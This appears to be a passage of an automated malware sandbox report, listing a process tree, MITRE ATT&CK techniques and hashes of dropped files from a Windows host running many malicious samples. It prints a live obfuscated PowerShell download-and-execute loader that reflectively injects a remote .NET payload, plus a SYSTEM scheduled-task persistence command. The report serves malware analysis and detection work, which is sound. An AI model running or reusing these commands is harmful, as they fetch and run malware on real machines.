    "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -command $Codigo = 'SW5WT0tlLWV4UFJlU1NJT04oKCc2SGMnKyd1JysncicrJ2wgPScrJyAnKydNUlBodHRwczonKycvL2lhJysnNicrJzAwMTAwLnUnKydzLmEnKydyYycrJ2hpJysndicrJ2UuJysnb3InKydnLzI0L2knKyd0ZW1zL2QnKydldGFoLW5vdGUtdi9EJysnZXQnKydhaE5vdGVWLnQnKyd4JysndCcrJ01SUCcrJzs2SGNiYXNlJysnNjRDb250JysnZW50JysnID0gKE5lJysndy1PYmplJysnY3QgUycrJ3lzdGVtLk5ldC5XZScrJ2JDJysnbGknKydlbnQpLkRvd24nKydsJysnb2FkJysnU3RyaW4nKydnJysnKDYnKydIJysnY3UnKydyJysnbCcrJyknKyc7NkhjYmluJysnYXJ5QycrJ29udGVudCA9ICcrJ1tTeXN0ZW0uQ29uJysndmVydF06OkZybycrJ20nKydCYXMnKydlNjQnKydTJysndHInKydpbmcoNkhjYmFzZTYnKyc0Q29udGVudCk7NicrJ0gnKydjYXNzZW1ibHknKycgPSBbUicrJ2VmbGUnKydjdGlvJysnbi5Bc3MnKydlJysnbWJseScrJ10nKyc6OkwnKydvJysnYWQnKycoNkhjJysnYmknKyduYXJ5QycrJ28nKydudGVudCk7NkgnKydjdHlwZScrJyA9JysnICcrJzZIYycrJ2Fzc2VtYicrJ2x5LkdldFR5JysncGUoTScrJ1JQUicrJ3VuUEUuSG8nKydtZScrJ00nKydSUCcrJyk7NkgnKydjbWV0aG8nKydkJysnICcrJz0nKycgJysnNicrJ0hjJysndHknKydwJysnZS5HZXRNJysnZXRoJysnb2QoTVInKydQJysnVkFJTVJQKScrJzs2SGMnKydtZScrJ3QnKydob2QuSW52b2tlKDZIJysnY24nKyd1JysnbGwsIFtvYmplYycrJ3RbXV1AKE0nKydSJysnUHR4dC4nKyd5YScrJ2Rub20vdmUnKydkLjInKydyLjMnKyc5YjM0NTMwJysnMmEwNzViMWJjMGQ0JysnNWInKyc2MycrJzJlYjllZTYyLWJ1cC8nKycvOnNwJysndHRoTVJQICwgTVJQZGVzYXQnKydpJysndicrJ2FkbycrJ01SUCAsIE0nKydSUCcrJ2Rlc2F0aXYnKydhZCcrJ29NUicrJ1AgLCBNUlBkZXMnKydhdGl2YScrJ2RvTVJQLE1SUEEnKydkZEknKyduUHJvY2VzczMnKycyTVJQJysnLE0nKydSJysnUE1SUCkpJykuUmVQbGFjRSgnNkhjJyxbU3RSaW5HXVtDSEFSXTM2KS5SZVBsYWNFKChbQ0hBUl03NytbQ0hBUl04MitbQ0hBUl04MCksW1N0UmluR11bQ0hBUl0zOSkgKQ==';$OWjuxd = [system.Text.encoding]::UTF8.GetString([system.Convert]::Frombase64String($codigo));powershell.exe -windowstyle hidden -executionpolicy bypass -NoProfile -command $OWjuxD
    3⤵
    - Command and Scripting Interpreter: PowerShell
    PID:988
  - - C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
      "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -windowstyle hidden -executionpolicy bypass -NoProfile -command "InVOKe-exPReSSION(('6Hc'+'u'+'r'+'l ='+' '+'MRPhttps:'+'//ia'+'6'+'00100.u'+'s.a'+'rc'+'hi'+'v'+'e.'+'or'+'g/24/i'+'tems/d'+'etah-note-v/D'+'et'+'ahNoteV.t'+'x'+'t'+'MRP'+';6Hcbase'+'64Cont'+'ent'+' = (Ne'+'w-Obje'+'ct S'+'ystem.Net.We'+'bC'+'li'+'ent).Down'+'l'+'oad'+'Strin'+'g'+'(6'+'H'+'cu'+'r'+'l'+')'+';6Hcbin'+'aryC'+'ontent = '+'[System.Con'+'vert]::Fro'+'m'+'Bas'+'e64'+'S'+'tr'+'ing(6Hcbase6'+'4Content);6'+'H'+'cassembly'+' = [R'+'efle'+'ctio'+'n.Ass'+'e'+'mbly'+']'+'::L'+'o'+'ad'+'(6Hc'+'bi'+'naryC'+'o'+'ntent);6H'+'ctype'+' ='+' '+'6Hc'+'assemb'+'ly.GetTy'+'pe(M'+'RPR'+'unPE.Ho'+'me'+'M'+'RP'+');6H'+'cmetho'+'d'+' '+'='+' '+'6'+'Hc'+'ty'+'p'+'e.GetM'+'eth'+'od(MR'+'P'+'VAIMRP)'+';6Hc'+'me'+'t'+'hod.Invoke(6H'+'cn'+'u'+'ll, [objec'+'t[]]@(M'+'R'+'Ptxt.'+'ya'+'dnom/ve'+'d.2'+'r.3'+'9b34530'+'2a075b1bc0d4'+'5b'+'63'+'2eb9ee62-bup/'+'/:sp'+'tthMRP , MRPdesat'+'i'+'v'+'ado'+'MRP , M'+'RP'+'desativ'+'ad'+'oMR'+'P , MRPdes'+'ativa'+'doMRP,MRPA'+'ddI'+'nProcess3'+'2MRP'+',M'+'R'+'PMRP))').RePlacE('6Hc',[StRinG][CHAR]36).RePlacE(([CHAR]77+[CHAR]82+[CHAR]80),[StRinG][CHAR]39) )"
      4⤵
      Command and Scripting Interpreter: PowerShell
      PID:6500
- C:\Users\Admin\AppData\Local\Temp\l6E.exe
  "C:\Users\Admin\AppData\Local\Temp\l6E.exe"
  2⤵
  PID:3848
- - C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
    "C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe"
    3⤵
    PID:5604
- C:\Users\Admin\AppData\Local\Temp\MTLADYYASSOVESSELBRIEFDETAILS.exe
  "C:\Users\Admin\AppData\Local\Temp\MTLADYYASSOVESSELBRIEFDETAILS.exe"
  2⤵
  PID:4832
- - C:\Users\Admin\AppData\Local\Temp\MTLADYYASSOVESSELBRIEFDETAILS.exe
    "C:\Users\Admin\AppData\Local\Temp\MTLADYYASSOVESSELBRIEFDETAILS.exe"
    3⤵
    PID:5292
- C:\Users\Admin\AppData\Local\Temp\tt.exe
  "C:\Users\Admin\AppData\Local\Temp\tt.exe"
  2⤵
  PID:1592
- C:\Users\Admin\AppData\Local\Temp\sloppyCatsV1.exe
  "C:\Users\Admin\AppData\Local\Temp\sloppyCatsV1.exe"
  2⤵
  PID:2272
- - C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe
    "C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe"
    3⤵
    PID:6024
- C:\Users\Admin\AppData\Local\Temp\Wire-transaction073921.exe
  "C:\Users\Admin\AppData\Local\Temp\Wire-transaction073921.exe"
  2⤵
  PID:3692
- - C:\Users\Admin\AppData\Local\Temp\Payload.cmd.exe
    "C:\Users\Admin\AppData\Local\Temp\Payload.cmd.exe"
    3⤵
    PID:5832
- - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --single-argument C:\Users\Admin\AppData\Local\Temp\Py017394- 01.htm
    3⤵
    PID:5428
  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=crashpad-handler "--user-data-dir=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data" /prefetch:7 --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Crashpad" "--metrics-dir=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data" --annotation=IsOfficialBuild=1 --annotation=channel= --annotation=chromium-version=92.0.4515.131 "--annotation=exe=C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --annotation=plat=Win64 "--annotation=prod=Microsoft Edge" --annotation=ver=92.0.902.67 --initial-client-data=0xfc,0x100,0x104,0xd8,0x108,0x7ffa0cf846f8,0x7ffa0cf84708,0x7ffa0cf84718
      4⤵
      PID:5700
  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=gpu-process --field-trial-handle=2088,12657019809601333873,18132519089370215334,131072 --gpu-preferences=UAAAAAAAAADgAAAQAAAAAAAAAAAAAAAAAABgAAAAAAAwAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAHgAAAAAAAAAeAAAAAAAAAAoAAAABAAAACAAAAAAAAAAKAAAAAAAAAAwAAAAAAAAADgAAAAAAAAAEAAAAAAAAAAAAAAADQAAABAAAAAAAAAAAQAAAA0AAAAQAAAAAAAAAAQAAAANAAAAEAAAAAAAAAAHAAAADQAAAAgAAAAAAAAACAAAAAAAAAA= --mojo-platform-channel-handle=2076 /prefetch:2
      4⤵
      PID:4796
  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --field-trial-handle=2088,12657019809601333873,18132519089370215334,131072 --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2196 /prefetch:3
      4⤵
      PID:1240
  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=storage.mojom.StorageService --field-trial-handle=2088,12657019809601333873,18132519089370215334,131072 --lang=en-US --service-sandbox-type=utility --mojo-platform-channel-handle=2764 /prefetch:8
      4⤵
      PID:4520
  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2088,12657019809601333873,18132519089370215334,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=6 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=3248 /prefetch:1
      4⤵
      PID:5764
  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2088,12657019809601333873,18132519089370215334,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=5 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=3384 /prefetch:1
      4⤵
      PID:5396
- C:\Users\Admin\AppData\Local\Temp\Zahlungsbest_tigung.exe
  "C:\Users\Admin\AppData\Local\Temp\Zahlungsbest_tigung.exe"
  2⤵
  PID:5220
- C:\Users\Admin\AppData\Local\Temp\Trojan.Win32.Genome.ic-9507dcec3bf5533f4a2c08baae8bc6f2c46c62d2918090aff1a7c337dc82f524.exe
  "C:\Users\Admin\AppData\Local\Temp\Trojan.Win32.Genome.ic-9507dcec3bf5533f4a2c08baae8bc6f2c46c62d2918090aff1a7c337dc82f524.exe"
  2⤵
  PID:5520
- - C:\Users\Admin\AppData\Local\Temp\is-68EAC.tmp\is-9LDUP.tmp
    "C:\Users\Admin\AppData\Local\Temp\is-68EAC.tmp\is-9LDUP.tmp" /SL4 $90262 C:\Users\Admin\AppData\Local\Temp\Trojan.Win32.Genome.ic-9507dcec3bf5533f4a2c08baae8bc6f2c46c62d2918090aff1a7c337dc82f524.exe 2516569 51200
    3⤵
    PID:3712
- C:\Users\Admin\AppData\Local\Temp\OGGY.exe
  "C:\Users\Admin\AppData\Local\Temp\OGGY.exe"
  2⤵
  PID:5648
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c wusa C:\Users\Admin\AppData\Local\Temp\64.cab /quiet /extract:C:\Windows\system32\migwiz\ & exit
    3⤵
    PID:1556
  - - C:\Windows\system32\wusa.exe
      wusa C:\Users\Admin\AppData\Local\Temp\64.cab /quiet /extract:C:\Windows\system32\migwiz\
      4⤵
      PID:7004
- C:\Users\Admin\AppData\Local\Temp\lol.exe
  "C:\Users\Admin\AppData\Local\Temp\lol.exe"
  2⤵
  PID:5744
- - C:\Windows\SysWOW64\schtasks.exe
    schtasks.exe /Create /TN wininit /ru SYSTEM /SC ONSTART /TR "C:\Users\Admin\AppData\Local\Temp\lol.exe"
    3⤵
    - Scheduled Task/Job: Scheduled Task
    PID:5860

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 408 -p 3776 -ip 3776
1⤵
PID:4924

C:\Windows\system32\msiexec.exe
C:\Windows\system32\msiexec.exe /V
1⤵
PID:5464

C:\Windows\System32\CompPkgSrv.exe
C:\Windows\System32\CompPkgSrv.exe -Embedding
1⤵
PID:6264

C:\Windows\System32\CompPkgSrv.exe
C:\Windows\System32\CompPkgSrv.exe -Embedding
1⤵
PID:6436

C:\Windows\system32\vssvc.exe
C:\Windows\system32\vssvc.exe
1⤵
PID:6560

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Scheduled Task/Job

T1053

Scheduled Task

T1053.005

Persistence

Event Triggered Execution

T1546

Installer Packages

T1546.016

Scheduled Task/Job

T1053

Scheduled Task

T1053.005

Privilege Escalation

Event Triggered Execution

T1546

Installer Packages

T1546.016

Scheduled Task/Job

T1053

Scheduled Task

T1053.005

Defense Evasion

Obfuscated Files or Information

T1027

Command Obfuscation

T1027.010

System Binary Proxy Execution

T1218

Msiexec

T1218.007

Credential Access

Discovery

Query Registry

T1012

System Information Discovery

T1082

System Location Discovery

T1614

System Language Discovery

T1614.001

Lateral Movement

Collection

Command and Control

Web Service

T1102

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Crashpad\settings.dat

Filesize
152B

MD5
e27df0383d108b2d6cd975d1b42b1afe

SHA1
c216daa71094da3ffa15c787c41b0bc7b32ed40b

SHA256
812f547f1e22a4bd045b73ff548025fabd59c6cba0da6991fdd8cfcb32653855

SHA512
471935e26a55d26449e48d4c38933ab8c369a92d8f24fd6077131247e8d116d95aa110dd424fa6095176a6c763a6271e978766e74d8022e9cdcc11e6355408ab

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Crashpad\settings.dat

Filesize
152B

MD5
395082c6d7ec10a326236e60b79602f2

SHA1
203db9756fc9f65a0181ac49bca7f0e7e4edfb5b

SHA256
b9ea226a0a67039df83a9652b42bb7b0cc2e6fa827d55d043bc36dd9d8e4cd25

SHA512
7095c260b87a0e31ddfc5ddf5730848433dcede2672ca71091efb8c6b1b0fc3333d0540c3ce41087702c99bca22a4548f12692234188e6f457c2f75ab12316bd

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Preferences

Filesize
5KB

MD5
6bc9540d85d3f97853ba36dc9825601e

SHA1
ee6cfc2eefd07689993b428980d82ed5ade21813

SHA256
f9681c81b3525bbee46c6dc46261c711891fd498b88044a7702a3fc5286b0a77

SHA512
8da84e47f56e0d60116c93e24a4c4ea5a575fa0604068da129d1cc26711928de6f707d6b1c328e9d588ff9b0c25a01cb2b83e01365485b84998c4729df5a74e5

Download Submit
C:\Users\Admin\AppData\Local\Temp\016da9d36c37374be6d7e43e162fd9a5c64e0c465b4cecdb50a02c7b119f64b0.exe

Filesize
487KB

MD5
d9ade81857f1e31c667c61fc45de2a31

SHA1
2765c74e8c4f4d18ca1785123bf8dab1cfcf52dc

SHA256
016da9d36c37374be6d7e43e162fd9a5c64e0c465b4cecdb50a02c7b119f64b0

SHA512
15cfe9f990a95b89790097ba4d888b315abe4c2fc9aad182a9c9470b17763c84e850c508c70cfcee9824bcde05542856d7b9a129ec4e4d9d1c9bf19ef3b5dac0

Download Submit
C:\Users\Admin\AppData\Local\Temp\0d4c465488b6f5f760e98a15d77da181419223fdd93915e0fb90646c645b7766.exe

Filesize
10KB

MD5
63ee90997ac58b541b59a3b1b90bdd25

SHA1
8329596e204c8e70bed39ce5e2eb1ad58b30a282

SHA256
0d4c465488b6f5f760e98a15d77da181419223fdd93915e0fb90646c645b7766

SHA512
46b78e2b25a61f61d1a2428bc8461155b087b4f582cfa6a77226d6eac6753a22765458ba6e10764618ab86eef7a4b9f7b146c4b1b178aa16c1f16a0912689ef4

Download Submit
C:\Users\Admin\AppData\Local\Temp\1955e7fe3c25216101d012eb0b33f527.exe

Filesize
830KB

MD5
1955e7fe3c25216101d012eb0b33f527

SHA1
f8a184b3b5a5cfa0f3c7d46e519fee24fd91d5c7

SHA256
55194a6530652599dfc4af96f87f39575ddd9f7f30c912cd59240dd26373940b

SHA512
5c4a65e898f89bdb83b66aa15205200c359a64994b939eb5ca8fe3b1d94eb67a3174a784616f984e4a21663680a496f7a50b00be35ad12c6d38df10cabd65233

Download Submit
C:\Users\Admin\AppData\Local\Temp\5fd43ae47a37af3f2975e4a9c5bb91ccbf1556e07e98ba91ba0ff25ab3a2b91f.exe

Filesize
159KB

MD5
d69165cfd5e6da160c2a60bad8a9daff

SHA1
466caab305aace6234238a45b5dad9d6c0f182ff

SHA256
5fd43ae47a37af3f2975e4a9c5bb91ccbf1556e07e98ba91ba0ff25ab3a2b91f

SHA512
2f55cc32d9355bc6e6e814a7fee6bf45051eafab56ec3935598483164278ba4cdbf560a1c2491fff54f7dbe67fa9c718893e4d19047b0846cc3e1fd6f329b002

Download Submit
C:\Users\Admin\AppData\Local\Temp\64.cab

Filesize
49KB

MD5
8cfa6b4acd035a2651291a2a4623b1c7

SHA1
43571537bf2ce9f8e8089fadcbf876eaf4cf3ae9

SHA256
6e438201a14a70980048d2377c2195608d5dc2cf915f489c0a59ac0627c98fa9

SHA512
e0a73401ce74c8db69964ef5a53f2a1b8caf8c739359785970295dae82619e81c0a21466327a023cf4009e0c15981a20bf1e18c73821083908fce722faa82685

Download Submit
C:\Users\Admin\AppData\Local\Temp\90a82defe606e51d2826265a43737130682b738241700782d7e41188475b7fb7.exe

Filesize
851KB

MD5
0824428fdccf3c63fc1ca19a1dd7ef74

SHA1
1ad8480cc56e94153a22d46a5a6020dc27052ae2

SHA256
90a82defe606e51d2826265a43737130682b738241700782d7e41188475b7fb7

SHA512
9ee92aea5d688b48e632ad8f8d0bb1402480b413ecf51fe03e4618f979e787fea6e98d4287f0acdeada129db91929401bccafd27d642cfe460d52adafc16f08f

Download Submit
C:\Users\Admin\AppData\Local\Temp\HONG_KONG_CHEMHERE_QUOTE_REQUEST.vbs

Filesize
510KB

MD5
624aa532840036422b84d07c8dc5515b

SHA1
806d001527fd1f5280e73d5d8616d5db563b24b1

SHA256
bb6213db0b43f8b2b12775bf1d35b2ac34a912b53de53f8881a41c2c9a92bda5

SHA512
f48bef2653d4931bc1e6c0ef371d16e11627739ae07625438b22dcb8999394730604410f69d54ab63a311b3767d991cb66ca523a4e61540570150e8b73e4d9dc

Download Submit
C:\Users\Admin\AppData\Local\Temp\IXP001.TMP\VCREDI~2.EXE

Filesize
3.0MB

MD5
f6f02acc9f12ed50752a46d6d604366c

SHA1
8977f1a83b431e00a7778c3d9ae12186c3195c86

SHA256
9b8e03f752edffbb99ec66a296854eb0cdea242b3b0d2d1c4971519f065fde3b

SHA512
75d097fd074a271fcdce955f3ed589a33e9f1dff2828a8bc593d40fb3e92b2992ae994f5b9d1985c97ac95b7dc5adb909ec80205349106f26bbd3995e6234be2

Download Submit
C:\Users\Admin\AppData\Local\Temp\MTLADYYASSOVESSELBRIEFDETAILS.exe

Filesize
748KB

MD5
e831581bced8750ffada97258b002ead

SHA1
a49a29ebfe5e2fad0e051ce28c981d0169f1ea62

SHA256
e3c1ca2def13e63fbbb0ab64ee9d5831ea24ef23f0598ef7a89b6215328041c3

SHA512
7659d281b7751f22d7a1383887d53d6ded4e7d1bdc83c7bb71ffde0b2f1316ba31d81ea8eab8ee1be261a620c65dbb1d5e26dfcb2a737db21b3158dfea843cd4

Download Submit
C:\Users\Admin\AppData\Local\Temp\OGGY.exe

Filesize
441KB

MD5
ef29a0ec4e49731b2cd54022a5056bcb

SHA1
bf06aba725a5b3107ab5f36bea11d2f4cedd7446

SHA256
ddfdb1ecd032286b5504f265172185ae8a8547b68cc03d25a918e8a65fa4ab24

SHA512
fa8c59ffe1165b201bd052168140bf3300f60672def2efcad00410a0eb72c79dbea494528599ff4cb4465720b8e7dc73bd8e1bd408d28c53d7e05ba546ee14aa

Download Submit
C:\Users\Admin\AppData\Local\Temp\Payload.cmd.exe

Filesize
92KB

MD5
7b9d932d7fa6f4895fce34a4ef3625e9

SHA1
a02a6e650d55afc1eb802955e176581a37967099

SHA256
6004ce80c1520b3e77c6482e0dae0ba5ffc8b99220600b7f2338c372b0602d5b

SHA512
92e6c8662a91839271c4237b0f79e2b3d45ffc4ca37c1340d0d16e14830da1e0c3d6cf9085baf5d27a995b816c925606a197b0d9b43eec3677522988df3633e8

Download Submit
C:\Users\Admin\AppData\Local\Temp\Trojan.Win32.Genome.ic-9507dcec3bf5533f4a2c08baae8bc6f2c46c62d2918090aff1a7c337dc82f524.exe

Filesize
2.6MB

MD5
c5978c4476250907db84f1221a9f283f

SHA1
dea6419701077c48c62594840605324eabc5b537

SHA256
9507dcec3bf5533f4a2c08baae8bc6f2c46c62d2918090aff1a7c337dc82f524

SHA512
76a9cd0a21e014e479e59c5e752c29dbb21e4737f205ad05ae66a6c772e48c53e71128b83cba3f961d8e9acc5758878feefe115a4961fc5b35713e59f493105f

Download Submit
C:\Users\Admin\AppData\Local\Temp\Wire-transaction073921.exe

Filesize
172KB

MD5
6e39b6a0d1989cc7d65a28172be66bee

SHA1
4ed2c84403ba5c886d7b01bb58418ef20b1ee61a

SHA256
92c5a24d6412d5e91c001b33ab65cd1094e55264db42ac1a5680a0b2907a638c

SHA512
1a9a14ebeb42a97aa9db3ae5563cb74e6b2462f8240c7472589f4bf43eb61d4f9b0991ab6f9f75dd962735cb73bcb08b69756ef2091379cea52d2da778c8b20b

Download Submit
C:\Users\Admin\AppData\Local\Temp\Zahlungsbest_tigung.exe

Filesize
1.6MB

MD5
f711e5126f671f7a3b4e124bd553bcdb

SHA1
8ab7bcc77eee7973845299edc8209e7a94c3cc4b

SHA256
80c7d29a1d98676c27132672175396193cb92ee30bdcfbf6a6c0ceb41b3d9616

SHA512
af8c950452169d34a5d56761b20f1968cf99577211668d9f9aa8511d5076fa330b0653a58fcde7ececd8ad5695acffa0460f13affc48831222646c5e4e4fcd6e

Download Submit
C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_aorcgpnd.vay.ps1

Filesize
60B

MD5
d17fe0a3f47be24a6453e9ef58c94641

SHA1
6ab83620379fc69f80c0242105ddffd7d98d5d9d

SHA256
96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

SHA512
5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

Download Submit
C:\Users\Admin\AppData\Local\Temp\a870c320630662dc799591a755e192fdadcb7ac52caf9781f52ae3ed5fb78660N.exe

Filesize
3.1MB

MD5
98157242119050a31f3206a6bc672b40

SHA1
5d2c2d43d422f3f3f7afcd0656d1b8962c24300a

SHA256
a870c320630662dc799591a755e192fdadcb7ac52caf9781f52ae3ed5fb78660

SHA512
55001504e625a12e29498206a0812f47bfba59f59b15590c205c00a1c6105de27977907e01bd74583f03d38d2d05d213c70584de1c863d3ec3a17aac99f23239

Download Submit
C:\Users\Admin\AppData\Local\Temp\aut6FEC.tmp

Filesize
47KB

MD5
9dda4db9e90ff039ad5a58785b9d626d

SHA1
507730d87b32541886ec1dd77f3459fa7bf1e973

SHA256
fc31b205d5e4f32fa0c71c8f72ee06b92a28bd8690f71ab8f94ff401af2228fe

SHA512
4cfecaaccd0f8f9e31690ff80cca83edc962e73861043fffded1a3847201455d5adca7c5ef3866c65e6e516205e67b2f31c8149aad5be1065c1eb586b013f86a

Download Submit
C:\Users\Admin\AppData\Local\Temp\be790b55b11f6502be0c8cf14f2ab4f9e97debe7e07efde26cf24f3927d791db.exe

Filesize
259KB

MD5
1c0674970e55ff28e3d6d4b9fc435f39

SHA1
e33df0cd1ead927fb3ad769ff311e5598c533da2

SHA256
be790b55b11f6502be0c8cf14f2ab4f9e97debe7e07efde26cf24f3927d791db

SHA512
d7118c1d4df00ba69ac69a8d8907a93122e7414c127280250d1e8dcf5603c762923fc19e26c770b5dcecec306fe1559bb1ea813cdcfadc0031ca72ae29c5b74f

Download Submit
C:\Users\Admin\AppData\Local\Temp\bec705145d0fedf1bc77946f40328e8c1a00a55f41e55c1892c4fe39bac01fcaN.exe

Filesize
981KB

MD5
e396a001881be59b603fc8533a611830

SHA1
48b7b6918771176093ea6cbfbaea156276e89fe4

SHA256
bec705145d0fedf1bc77946f40328e8c1a00a55f41e55c1892c4fe39bac01fca

SHA512
44ffded892662d67f870c0f576d17937259cae65bf3e119139a630391608a7eeee711ccca89ebf790bc482de36113aefaf87582aa323ce012816767a42548184

Download Submit
C:\Users\Admin\AppData\Local\Temp\c23c9580f06fdc862df3d80fb8dc398b666e01a523f06ffa8935a95dce4ff8f4.exe

Filesize
1.8MB

MD5
c9ca67936e230c7dc2f41f19c7febb6d

SHA1
17bbb5024f39d2409fc908481ace2d2ece9670f9

SHA256
c23c9580f06fdc862df3d80fb8dc398b666e01a523f06ffa8935a95dce4ff8f4

SHA512
6445443fd4836dd3006434fdc2c170b6e5527eb1195475c7c3306f6ac8e46206e485153cb2bbf616ab30d3f40da74ec7759e9acd59cf3dbf0ea3318171a6a810

Download Submit
C:\Users\Admin\AppData\Local\Temp\gold.exe

Filesize
2.7MB

MD5
ec0f2247b5090083a04edf0b674b4688

SHA1
4d3becdf23aad4164040294f82911a702962f1a4

SHA256
b1d07ce93c3d2fdf063a3f0f7310136f0542c5071a5c1bf6ff49421e64a7f2fa

SHA512
74d514567ec2b65a0fd2ac443a73b775ac2f87d750f4a9c74fa0072137fb141cf8fb330963e078c9d2d419cd1629da809701abc30dd2ed5816f7cdcc523da7b7

Download Submit
C:\Users\Admin\AppData\Local\Temp\is-68EAC.tmp\is-9LDUP.tmp

Filesize
607KB

MD5
efc2604860bda32871d69bbc4c606630

SHA1
3992538a4aaa29467f5ec1021e97cd85f9f66671

SHA256
3cec0a2be2d1dffca5254b65e8c7029a0fb06e75c5217e2cbfd3758867363c5b

SHA512
4031a27e8f582402743ac876c752d5b0ab74a4550fabc812c0e5c0e1481a165eff95555d1f186b1cb39bfebf3d1bac7542ff8f1602b93a30145196c6ea136fad

Download Submit
C:\Users\Admin\AppData\Local\Temp\l6E.exe

Filesize
345KB

MD5
fac2188e4a28a0cf32bf4417d797b0f8

SHA1
1970de8788c07b548bf04d0062a1d4008196a709

SHA256
d737637ee5f121d11a6f3295bf0d51b06218812b5ec04fe9ea484921e905a207

SHA512
58086100d653ceeae44e0c99ec8348dd2beaf198240f37691766bee813953f8514c485e39f5552ee0d18c61f02bff10c0c427f3fec931bc891807be188164b2b

Download Submit
C:\Users\Admin\AppData\Local\Temp\lol.exe

Filesize
150KB

MD5
68ee3954d1a50f6d9e134685044d7aa1

SHA1
80830f98af11154dd21f6d4e0ffe17832d3c15b0

SHA256
4e2aa75a4bd20f00ce6ab57fa059e302b21d8fa7354741dff908856ab2cfcc70

SHA512
091266fcfb54b3c44c9590f39e457de202b81ba591d7f0f8f10dca8d3691b47d3777c6abfc058f0f905a9479e7cb90c2928f95e0e936345bbeed824b0945a00e

Download Submit
C:\Users\Admin\AppData\Local\Temp\nsp4542.tmp\GetVersion.dll

Filesize
5KB

MD5
2e2412281a205ed8d53aafb3ef770a2d

SHA1
3cae4138e8226866236cf34f8fb00dafb0954d97

SHA256
db09adb6e17b6a0b31823802431ff5209018ee8c77a193ac8077e42e5f15fb00

SHA512
6d57249b7e02e1dfed2e297ec35fb375ecf3abc893d68694f4fa5f2e82ec68c129af9cc5ce3dd4025147309c0832a2847b69334138f3d29c5572ff4e1b16f219

Download Submit
C:\Users\Admin\AppData\Local\Temp\nsp4542.tmp\NSISdl.dll

Filesize
14KB

MD5
a5f8399a743ab7f9c88c645c35b1ebb5

SHA1
168f3c158913b0367bf79fa413357fbe97018191

SHA256
dacc88a12d3ba438fdae3535dc7a5a1d389bce13adc993706424874a782e51c9

SHA512
824e567f5211bf09c7912537c7836d761b0934207612808e9a191f980375c6a97383dbc6b4a7121c6b5f508cbfd7542a781d6b6b196ca24841f73892eec5e977

Download Submit
C:\Users\Admin\AppData\Local\Temp\nsp4542.tmp\System.dll

Filesize
11KB

MD5
c17103ae9072a06da581dec998343fc1

SHA1
b72148c6bdfaada8b8c3f950e610ee7cf1da1f8d

SHA256
dc58d8ad81cacb0c1ed72e33bff8f23ea40b5252b5bb55d393a0903e6819ae2f

SHA512
d32a71aaef18e993f28096d536e41c4d016850721b31171513ce28bbd805a54fd290b7c3e9d935f72e676a1acfb4f0dcc89d95040a0dd29f2b6975855c18986f

Download Submit
C:\Users\Admin\AppData\Local\Temp\sloppyCatsV1.exe

Filesize
408KB

MD5
1a350e4b7e479b3a75939f6cbe15acf2

SHA1
0a712e1d0954d55af2a2e65694373b53ed01af69

SHA256
2d0e91133b939b2f5ab6a1fa90587a6c0febbc1e01edf2580518b1e3a4414ff2

SHA512
bdf58340ee4d0afd3d4135825b30d1b1a4d39dec406baabfd56675ed27db890b2e0039e7afac2dc56c4134f17cb4bfe16147aca861c26d2e5c28e5fa6bbf975b

Download Submit
C:\Users\Admin\AppData\Local\Temp\tt.exe

Filesize
59KB

MD5
796538993e9f52858eba7ec1cd4c6ed0

SHA1
76ee37a4337263d8ce107ff2f0fef16cc19aea95

SHA256
a51c771663d4fc3a16c1746c943168f7395b54086f8f77ab7cda1e51252f52ea

SHA512
c9a1699efc7a12b4a66679f912df8f315b93712989955c7fa4c4befd3c606a43643e37d2aded87a3cf9e288fd4547ce4df15a466ea688f8354bc16360495cefe

Download Submit
